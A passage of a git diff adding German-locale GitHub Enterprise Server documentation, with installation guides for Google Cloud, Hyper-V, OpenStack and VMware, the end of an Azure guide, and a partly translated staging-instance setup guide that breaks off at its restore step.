+  $ az vm disk attach --vm-name VM_NAME -g RESOURCE_GROUP --sku Premium_LRS --new -z SIZE_IN_GB --name ghe-data.vhd --caching ReadWrite
+  ```
+
+  {% note %}
+
+   **Note:** For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 150 GiB with read/write cache enabled (`--caching ReadWrite`).
+
+   {% endnote %}
+
+## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine
+
+1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see "[`az vm list`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" in the Microsoft documentation.
+  ```shell
+  $ az vm list -d -g RESOURCE_GROUP -o table
+  > Name    ResourceGroup    PowerState    PublicIps     Fqdns    Location    Zones
+  > ------  ---------------  ------------  ------------  -------  ----------  -------
+  > VM_NAME RESOURCE_GROUP   VM running    40.76.79.202           eastus
+  
+  ```
+  {% note %}
+  
+  **Note:** Azure does not automatically create a FQDNS entry for the VM. For more information, see Azure's guide on how to "[Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)."
+  
+  {% endnote %}
+  
+  {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
+  {% data reusables.enterprise_installation.upload-a-license-file %}
+  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+  {% data reusables.enterprise_installation.instance-will-restart-automatically %}
+  {% data reusables.enterprise_installation.visit-your-instance %}
+  
+## Azure extension features
+
+{% data variables.product.product_name %} does not support the installation of Azure extension features. The {% data variables.product.prodname_ghe_server %} image is shipped with a customized `waagent` package which only supports basic VM management functions and blocks advanced VM management functions. 
+
+To avoid system instability of your {% data variables.product.prodname_ghe_server %} instance, the `walinuxagent` service is intentionally run in {% data variables.product.prodname_ghe_server %} in a restricted mode, explicitly disallowing the agent from being able to install other agents. VM management features that rely on additional agents and extensions beyond that which ships with {% data variables.product.prodname_ghe_server %} image, such as the Monitoring Agent extension for Azure Insights or Azure Backups, are unsupported.
+
+Because {% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services, installing or updating operating system packages manually will overwrite these customizations and can cause unexpected behavior. For more information, see "[System overview](/admin/overview/system-overview)."
+
+## Further reading
+
+- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
new file mode 100644
index 0000000000..b60a736ab4
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
@@ -0,0 +1,101 @@
+---
+title: Installing GitHub Enterprise Server on Google Cloud Platform
+intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.'
+redirect_from:
+  - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform
+  - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform
+  - /admin/installation/installing-github-enterprise-server-on-google-cloud-platform
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Administrator
+  - Enterprise
+  - Infrastructure
+  - Set up
+shortTitle: Install on GCP
+---
+## Prerequisites
+
+- {% data reusables.enterprise_installation.software-license %}
+- You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform Documentation](https://cloud.google.com/docs/).
+- Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" installation and setup guide in the Google documentation.
+
+## Hardware considerations
+
+{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
+
+## Determining the machine type
+
+Before launching {% data variables.location.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+
+{% data reusables.enterprise_installation.warning-on-scaling %}
+
+{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see "[Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" in the Google Compute Engine documentation.
+
+## Selecting the {% data variables.product.prodname_ghe_server %} image
+
+1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images:
+   ```shell
+   $ gcloud compute images list --project github-enterprise-public --no-standard-images
+   ```
+
+2. Take note of the image name for the latest GCE image of  {% data variables.product.prodname_ghe_server %}.
+
+## Configuring the firewall
+
+GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. For more information about firewall rules on Google Cloud Platform, see the Google guide "[Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls)."
+
+1. Using the gcloud compute command-line tool, create the network. For more information, see "[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" in the Google documentation.
+   ```shell
+   $ gcloud compute networks create NETWORK-NAME --subnet-mode auto
+   ```
+2. Create a firewall rule for each of the ports in the table below. For more information, see "[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" in the Google documentation.
+   ```shell
+   $ gcloud compute firewall-rules create RULE-NAME \
+   --network NETWORK-NAME \
+   --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp
+   ```
+   This table identifies the required ports and what each port is used for.
+
+   {% data reusables.enterprise_installation.necessary_ports %}
+
+## Allocating a static IP and assigning it to the VM
+
+If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide "[Reserving a Static External IP Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)."
+
+In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses.
+
+## Creating the {% data variables.product.prodname_ghe_server %} instance
+
+To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+
+1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see "[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" in the Google documentation.
+   ```shell
+   $ gcloud compute disks create DATA-DISK-NAME --size DATA-DISK-SIZE --type DATA-DISK-TYPE --zone ZONE
+   ```
+
+2. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see "[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" in the Google documentation.
+   ```shell
+   $ gcloud compute instances create INSTANCE-NAME \
+   --machine-type n1-standard-8 \
+   --image GITHUB-ENTERPRISE-IMAGE-NAME \
+   --disk name=DATA-DISK-NAME \
+   --metadata serial-port-enable=1 \
+   --zone ZONE \
+   --network NETWORK-NAME \
+   --image-project github-enterprise-public
+   ```
+
+## Configuring the instance
+
+{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
+{% data reusables.enterprise_installation.upload-a-license-file %}
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.instance-will-restart-automatically %}
+{% data reusables.enterprise_installation.visit-your-instance %}
+
+## Further reading
+
+- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
new file mode 100644
index 0000000000..d1e063c828
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
@@ -0,0 +1,72 @@
+---
+title: Installing GitHub Enterprise Server on Hyper-V
+intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2019.'
+redirect_from:
+  - /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v
+  - /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v
+  - /admin/installation/installing-github-enterprise-server-on-hyper-v
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Administrator
+  - Enterprise
+  - Infrastructure
+  - Set up
+shortTitle: Install on Hyper-V
+---
+## Prerequisites
+
+- {% data reusables.enterprise_installation.software-license %}
+- You must have Windows Server 2008 through Windows Server 2019, which support Hyper-V.
+- Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide "[Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)."
+
+## Hardware considerations
+
+{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
+
+## Downloading the {% data variables.product.prodname_ghe_server %} image
+
+{% data reusables.enterprise_installation.download-license %}
+{% data reusables.enterprise_installation.download-appliance %}
+4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **Hyper-V (VHD)**.
+5. Click **Download for Hyper-V (VHD)**.
+
+## Creating the {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.create-ghe-instance %}
+
+1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see "[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" in the Microsoft documentation.
+  ```shell
+  PS C:\> New-VM -Generation 1 -Name VM_NAME -MemoryStartupBytes MEMORY_SIZE -BootDevice VHD -VHDPath PATH_TO_VHD  
+  ```
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see "[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" in the Microsoft documentation.
+  ```shell
+  PS C:\> New-VHD -Path PATH_TO_DATA_DISK -SizeBytes DISK_SIZE
+  ```
+3. Attach the data disk to your instance. For more information, see "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" in the Microsoft documentation.
+  ```shell
+  PS C:\> Add-VMHardDiskDrive -VMName VM_NAME -Path PATH_TO_DATA_DISK
+  ```
+4. Start the VM. For more information, see "[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" in the Microsoft documentation.
+  ```shell
+  PS C:\> Start-VM -Name VM_NAME
+  ```
+5. Get the IP address of your VM. For more information, see "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" in the Microsoft documentation.
+  ```shell
+  PS C:\> (Get-VMNetworkAdapter -VMName VM_NAME).IpAddresses
+  ```
+6. Copy the VM's IP address and paste it into a web browser.
+
+## Configuring the {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
+{% data reusables.enterprise_installation.upload-a-license-file %}
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.instance-will-restart-automatically %}
+{% data reusables.enterprise_installation.visit-your-instance %}
+
+## Further reading
+
+- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
new file mode 100644
index 0000000000..3381721392
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
@@ -0,0 +1,57 @@
+---
+title: Installing GitHub Enterprise Server on OpenStack KVM
+intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.'
+redirect_from:
+  - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm
+  - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm
+  - /admin/installation/installing-github-enterprise-server-on-openstack-kvm
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Administrator
+  - Enterprise
+  - Infrastructure
+  - Set up
+shortTitle: Install on OpenStack
+---
+## Prerequisites
+
+- {% data reusables.enterprise_installation.software-license %}
+- You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/).
+
+## Hardware considerations
+
+{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
+
+## Downloading the {% data variables.product.prodname_ghe_server %} image
+
+{% data reusables.enterprise_installation.download-license %}
+{% data reusables.enterprise_installation.download-appliance %}
+4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **OpenStack KVM (QCOW2)**.
+5. Click **Download for OpenStack KVM (QCOW2)**.
+
+## Creating the {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.create-ghe-instance %}
+
+1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide "[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)."
+{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide "[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)."
+3. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide "[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)."
+
+  {% data reusables.enterprise_installation.necessary_ports %}
+4. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see "[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" in the OpenStack documentation.
+5. Launch {% data variables.location.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide "[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)."
+
+## Configuring the {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
+{% data reusables.enterprise_installation.upload-a-license-file %}
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.instance-will-restart-automatically %}
+{% data reusables.enterprise_installation.visit-your-instance %}
+
+## Further reading
+
+- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
new file mode 100644
index 0000000000..5c82bae468
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
@@ -0,0 +1,58 @@
+---
+title: Installing GitHub Enterprise Server on VMware
+intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.'
+redirect_from:
+  - /enterprise/admin/articles/getting-started-with-vmware
+  - /enterprise/admin/articles/installing-vmware-tools
+  - /enterprise/admin/articles/vmware-esxi-virtual-machine-maximums
+  - /enterprise/admin/guides/installation/installing-github-enterprise-on-vmware
+  - /enterprise/admin/installation/installing-github-enterprise-server-on-vmware
+  - /admin/installation/installing-github-enterprise-server-on-vmware
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Administrator
+  - Enterprise
+  - Infrastructure
+  - Set up
+shortTitle: Install on VMware
+---
+## Prerequisites
+
+- {% data reusables.enterprise_installation.software-license %}
+- You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.location.product_location %}s. We support versions 5.5 through 6.7 for {% data variables.product.prodname_ghe_server %} 3.4 and earlier. ESX version 7.0 is supported for {% data variables.product.prodname_ghe_server %} 3.5 and later. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html).
+- You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide "[Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)."
+
+## Hardware considerations
+
+{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
+
+## Downloading the {% data variables.product.prodname_ghe_server %} image
+
+{% data reusables.enterprise_installation.download-license %}
+{% data reusables.enterprise_installation.download-appliance %}
+4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **VMware ESXi/vSphere (OVA)**.
+5. Click **Download for VMware ESXi/vSphere (OVA)**.
+
+## Creating the {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.create-ghe-instance %}
+
+1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide "[Deploy an OVF or OVA Template](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)."
+    - When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see "[Hardware considerations](#hardware-considerations)." We recommend thick provisioning with lazy zeroing.
+    - Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide "[Add a New Hard Disk to a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)."
+
+## Configuring the {% data variables.product.prodname_ghe_server %} instance
+
+{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
+{% data reusables.enterprise_installation.upload-a-license-file %}
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.instance-will-restart-automatically %}
+{% data reusables.enterprise_installation.visit-your-instance %}
+
+## Further reading
+
+- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md
new file mode 100644
index 0000000000..7bf44f0eef
--- /dev/null
+++ b/translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md
@@ -0,0 +1,161 @@
+---
+title: Testinstanz einrichten
+intro: 'Du kannst eine {% data variables.product.product_name %}-Instanz in einer separaten, isolierten Umgebung einrichten und diese verwenden, um Änderungen zu überprüfen und zu testen.'
+redirect_from:
+  - /enterprise/admin/installation/setting-up-a-staging-instance
+  - /admin/installation/setting-up-a-staging-instance
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Infrastructure
+  - Upgrades
+shortTitle: Set up a staging instance
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: ce7d9dde9f86ea5159657203e13d9d191b6b7466
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106861'
+---
+## Informationen zu Staginginstanzen
+
+{% data variables.product.company_short %} empfiehlt, dass du eine separate Umgebung zum Testen von Sicherungen, Updates oder Änderungen an der Konfiguration für {% data variables.location.product_location %} einrichtest. Diese Umgebung, die du von deinen Produktionssystemen isolieren solltest, wird als „Stagingumgebung“ bezeichnet.
+
+Beispielsweise kannst du zum Schutz vor Datenverlust die Sicherung deiner Produktionsinstanz regelmäßig überprüfen. Du kannst die Sicherung deiner Produktionsdaten in einer separaten {% data variables.product.product_name %}-Instanz in einer Stagingumgebung regelmäßig wiederherstellen. In dieser Staginginstanz könntest du auch das Upgrade auf das neueste Featurerelease von {% data variables.product.product_name %} testen.
+
+{% tip %}
+
+**Tipp:** Du kannst deine vorhandene {% data variables.product.prodname_enterprise %}-Lizenzdatei wiederverwenden, solange die Staginginstanz nicht in einer Produktionskapazität verwendet wird.
+
+{% endtip %}
+
+## Überlegungen zu einer Stagingumgebung
+
+Wenn du {% data variables.product.product_name %} gründlich testen und eine Umgebung neu erstellen möchtest, die deiner Produktionsumgebung möglichst ähnlich ist, berücksichtige die externen Systeme, die mit deiner Instanz interagieren. Du kannst beispielsweise in deiner Stagingumgebung Folgendes testen.
+
+- Authentifizierung – insbesondere, wenn du einen externen Authentifizierungsanbieter wie SAML verwendest
+- Integration in ein externes Ticketsystem,
+- Integration in einen CI-Server,
+- Externe Skripts oder Software, die die {% data variables.product.prodname_enterprise_api %} verwenden
+- externer SMTP-Server für E-Mail-Benachrichtigungen.
+
+## Testinstanz einrichten
+
+Du kannst eine Staginginstanz neu einrichten und so konfigurieren, wie du möchtest. Weitere Informationen findest du unter [Einrichten einer Instanz von {% data variables.product.product_name %}](/admin/installation/setting-up-a-github-enterprise-server-instance) und [Konfigurieren deines Unternehmens](/admin/configuration/configuring-your-enterprise).
+
+Alternativ kannst du eine Staginginstanz erstellen, die deine Produktionskonfiguration widerspiegelt, indem du eine Sicherung deiner Produktionsinstanz in die Staginginstanz wiederherstellst.
+
+1. [Sichere deine Produktionsinstanz](#1-back-up-your-production-instance).
+2. [Richte eine Staginginstanz ein](#2-set-up-a-staging-instance).
+3. [Konfiguriere {% data variables.product.prodname_actions %}](#3-configure-github-actions).
+4. [Konfiguriere {% data variables.product.prodname_registry %}](#4-configure-github-packages).
+5. [Stelle deine Produktionssicherung wieder her](#5-restore-your-production-backup).
+6. [Überprüfe die Konfiguration der Instanz](#6-review-the-instances-configuration).
+7. [Wende die Konfiguration der Instanz an](#7-apply-the-instances-configuration).
+
+### 1. Sichern deiner Produktionsinstanz
+
+Wenn du Änderungen an einer Instanz testen möchtest, die dieselbe Daten und Konfiguration wie deine Produktionsinstanz enthält, sichere die Daten und die Konfiguration aus der Produktionsinstanz mithilfe von {% data variables.product.prodname_enterprise_backup_utilities %}. Weitere Informationen findest du unter [Konfigurieren von Sicherungen auf deiner Appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).
+
+{% warning %}
+
+**Warnung**: Wenn du {% data variables.product.prodname_actions %} oder {% data variables.product.prodname_registry %} in der Produktion verwendest, enthält deine Sicherung deine Produktionskonfiguration für den externen Speicher. Um potenziellen Datenverlust durch Schreiben in deinen Produktionsspeicher von deiner Staginginstanz zu vermeiden, musst du jedes Feature in den Schritten 3 und 4 konfigurieren, bevor du deine Sicherung wiederherstellst.
+
+{% endwarning %}
+
+### 2. Einrichten einer Staginginstanz
+
+Richte eine neue Instanz ein, die als deine Staging-Umgebung fungiert. Du kannst dieselben Leitfäden zum Bereitstellen und Installieren deiner Testinstanz verwendest, die du für deine Produktionsinstanz verwendest. Weitere Informationen findest du unter [Einrichten einer {% data variables.product.prodname_ghe_server %}-Instanz](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance/).
+
+Wenn du eine Sicherung deiner Produktionsinstanz wiederherstellen möchtest, fahre mit dem nächsten Schritt fort. Alternativ kannst du die Instanz manuell konfigurieren und die folgenden Schritte überspringen.
+
+### 3. Konfigurieren von {% data variables.product.prodname_actions %}
+
+Wenn du {% data variables.product.prodname_actions %} auf deiner Produktionsinstanz verwendest, konfiguriere optional das Feature auf der Staginginstanz vor dem Wiederherstellen deiner Produktionssicherung. Wenn du {% data variables.product.prodname_actions %} nicht verwendest, fahre bei [4. Konfigurieren von {% data variables.product.prodname_registry %}](#4-configure-github-packages) fort.
+
+{% warning %}
+
+**Warnung**: Wenn du {% data variables.product.prodname_actions %} auf der Staginginstanz vor dem Wiederherstellen deiner Produktionssicherung nicht konfigurierst, verwendet deine Staginginstanz den externen Speicher deiner Produktionsinstanz. Dies kann zu Datenverlust führen. Es wird dringend empfohlen, einen anderen externen Speicher für deine Staginginstanz zu verwenden. Weitere Informationen findest du unter „[Verwenden einer Stagingumgebung](/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment)“.
+
+{% endwarning %}
+
+{% data reusables.enterprise_installation.ssh-into-staging-instance %}
+1. Um die Staginginstanz zum Verwenden eines externen Speicheranbieters für {% data variables.product.prodname_actions %} zu konfigurieren, gib einen der folgenden Befehlen ein.
+{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %} {% data reusables.actions.configure-storage-provider %}
+1. Gib den folgenden Befehl zum Vorbereiten auf das Aktivieren von {% data variables.product.prodname_actions %} auf der Staginginstanz ein.
+
+   ```shell{:copy}
+   ghe-config app.actions.enabled true
+   ```
+
+### 4. Konfigurieren von {% data variables.product.prodname_registry %}
+
+Wenn du {% data variables.product.prodname_registry %} auf deiner Produktionsinstanz verwendest, konfiguriere optional das Feature auf der Staginginstanz vor dem Wiederherstellen deiner Produktionssicherung. Wenn du {% data variables.product.prodname_registry %} nicht verwendest, fahre bei [5. Wiederherstellen deiner Produktionssicherung](#5-restore-your-production-backup) fort.
+
+{% warning %}
+
+**Warnung**: Wenn du {% data variables.product.prodname_registry %} auf der Staginginstanz vor dem Wiederherstellen deiner Produktionssicherung nicht konfigurierst, verwendet deine Staginginstanz den externen Speicher deiner Produktionsinstanz. Dies kann zu Datenverlust führen. Es wird dringend empfohlen, einen anderen externen Speicher für deine Staginginstanz zu verwenden.
+
+{% endwarning %}
+
+1. Überprüfe die Sicherung, die du in der Staginginstanz wiederherstellst.
+   - Wenn du die Sicherung mit {% data variables.product.prodname_enterprise_backup_utilities %} 3.5 oder höher durchgeführt hast, enthält sie die Konfiguration für {% data variables.product.prodname_registry %}. Fahren Sie mit dem nächsten Schritt fort.
+   - Wenn du die Sicherung mit {% data variables.product.prodname_enterprise_backup_utilities %} 3.4 oder früher durchgeführt hast, konfiguriere {% data variables.product.prodname_registry %} auf der Staginginstanz. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_registry %} für dein Unternehmen](/admin/packages/getting-started-with-github-packages-for-your-enterprise).
+{% data reusables.enterprise_installation.ssh-into-staging-instance %}
+1. Konfiguriere die externe Speicherverbindung, indem du die folgenden Befehle eingibst und die Platzhalterwerte durch tatsächliche Werte für deine Verbindung ersetzt.
+   - Azure Blob Storage:
+
+     ```shell{:copy}
+     ghe-config secrets.packages.blob-storage-type "azure"
+     ghe-config secrets.packages.azure-container-name "AZURE CONTAINER NAME"
+     ghe-config secrets.packages.azure-connection-string "CONNECTION STRING"
+     ```
+   - Amazon S3:
+
+     ```shell{:copy}
+     ghe-config secrets.packages.blob-storage-type "s3"
+     ghe-config secrets.packages.service-url "S3 SERVICE URL"
+     ghe-config secrets.packages.s3-bucket "S3 BUCKET NAME"
+     ghe-config secrets.packages.aws-access-key "S3 ACCESS KEY ID"
+     ghe-config secrets.packages.aws-secret-key "S3 ACCESS SECRET"
+     ```
+1. Gib den folgenden Befehl zum Vorbereiten auf das Aktivieren von {% data variables.product.prodname_registry %} auf der Staginginstanz ein.
+
+   ```shell{:copy}
+   ghe-config app.packages.enabled true
+   ```
+
+### 5. Wiederherstellen deiner Produktionssicherung
+
